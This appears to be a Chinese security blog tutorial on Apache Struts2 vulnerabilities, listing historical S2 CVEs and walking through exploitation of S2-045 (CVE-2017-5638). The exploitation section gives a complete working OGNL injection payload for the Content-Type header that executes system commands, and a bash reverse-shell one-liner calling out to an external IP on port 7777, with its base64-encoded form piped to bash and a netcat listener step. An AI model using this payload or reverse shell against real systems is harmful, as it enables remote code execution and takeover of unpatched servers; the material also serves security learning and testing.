01.Struts2漏洞
本文最后更新于520 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、Struts2简介

Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级 Java Web 应用的开源MVC框架,主要提供两个版本框架产品: Struts1和Struts2;Struts2是一个基于 MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器 (Controller)来建立模型与视图的数据交互。Struts2是Struts的下一代产品,是在 struts1和WebWork的 技术基础上进行了合并的全新的Struts2框架。

二、Struts2历史漏洞

漏洞编号 CVE编号 影响版本 发送数据 实现功能
S2-001 CVE- 2007-4556 Struts 2.0.0-2.0.8 POST请求发送数据; 默认参数为:username,password 获取WEB路径,任意命令 执行和反弹shell
S2-003 Struts 2.0.0-2.0.11.2 GET请求发送数据 任意命令执行
S2-005 CVE- 2010- 1870 Struts 2.0.0-2.1.8.1 GET请求发送数据 获取WEB路径,任意命令 执荐
S2-007 CVE- 2012- 0838 Struts 2.0.0-2.2.3 POST请求发送数据; 默认参数 为:username,password 任意命令执行和反弹shell
S2-008 CVE- 2012- 0391 Struts 2.1.0-2.3.1 GET请求发送数据 任意命令执行和反弹 shell
S2-009 CVE-2011- 3923 Struts 2.0.0-2.3.1.1 GET请求发送数据,URL后面 需要请求参数名;默认参数: key 任意命令执行和反弹 shell
S2-012 CVE- 2013- 1965 Struts Showcase App 2.0.0-2.3.13 GET请求发送数据,参数直接 添加到URL后面;默认参数:name 任意命令执行和反弹 shell
S2- 013/S2- 014 CVE- 2013- 1966 Struts 2.0.0-2.3.14.1 GET请求发送数据 获取WEB路径,任意命令 执行,反弹shel和文件上传
S2-015 CVE- 2013- 2135 Struts 2.0.0-2.3.14.2 GET请求发送数据 任意命令执行和反弹 shell
S2-016 CVE-2013- 2251 Struts 2.0.0-2.3.15 GET请求发送数据 获取WEB路径,任意命令 执行,反弹shell和文件上传
S2-019 CVE- 2013-4316 Struts 2.0.0-2.3.15.1 GET请求发送数据 获取WEB路径,任意命令 执行,反弹shel和文件上传
S2-020 CVE- 2014- 0094 Struts 2.0.0-2.3.16 GET请求发送数据 任意命令执行,反弹shell 和文件上传
S2-029 CVE- 2016- 0785 Struts 2.0.0- 2.3.24.1(除了 2.3.20.3) POST请求发送数据,需要参 数; 默认参数:message 任意命令执行和反弹 shell
S2-032 CVE- 2016-3081 Struts 2.3.20- 2.3.28(除了2.3.20.3和2.3.24.3) GET请求发送数据 获取WEB路径,任意命令执行和反弹shell
S2-033 CVE- 2016- 3087 Struts 2.3.20- 2.3.28(除了2.3.20.3 和2.3.24.3) GET请求发送数据 任意命令执行和反弹 shell
S2-037 CVE-2016- 4438 Struts 2.3.20- 2.3.28.1 GET请求发送数据 获取WEB路径,任意命令 执行和反弹shell
S2-045 CVE- 2017- 5638 Struts 2.3.5- 2.3.31,2.5-2.5.10 POST请求发送数据,不需要参数 获取WEB路径,任意命令 执行,反弹shell和文件上
S2-052 CVE- 2017- 9805 Struts 2.1.2- 2.3.33,2.5-2.5.12 POST请求发送数据,不需要参数 传专 任意命令执行,反弹shell 和文件上传
S2-053 CVE- 2017- 12611 Struts 2.0.1- 2.3.33,2.5-2.5.10 GET请求发送数据 任意命令执行,反弹shell
S2-057 CVE-2018- 11776 Struts 2.3-2.3.34,2.5-2.5.16 GET请求发送数据 任意命令执行,反弹shell
S2-059 CVE- 2019- 0230 Struts 2.0.0-2.5.20 POST请求发送数据 任意命令执行

三、Struts2历史漏洞发现

1.Struts2框架识别

  1. 通过网页后缀来进行判断,如 .do或者
  2. 通过 .action /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。

2. Struts2漏洞检测工具

四、Struts2历史漏洞利用

1.Struts 2-045

1)漏洞简介

在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意 用户可在上传文件时通过修改 HTTP请求头中的 Content-Type值来触发该漏洞,进而执行系统命令。

2)影响范围

Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10

3)漏洞利用

(1)访问目标地址

Pasted image 20250113222043.png

(2)随意上传一个文件并抓包,修改Content-Type为以下内容
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

Pasted image 20250113222947.png

(3)构造反弹Shell语句

Java 反弹shell 时,需要Base64 编码反弹shell 语句

bash -i >& /dev/tcp/120.79.150.243/7777 0>&1

base64编码:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=

添加base64 -d解码与bash -i执行:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=|base64 -d|bash -i
(4)nc监听开启
(5)构造请求并发送

Pasted image 20250113225808.png

Pasted image 20250113230122.png

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇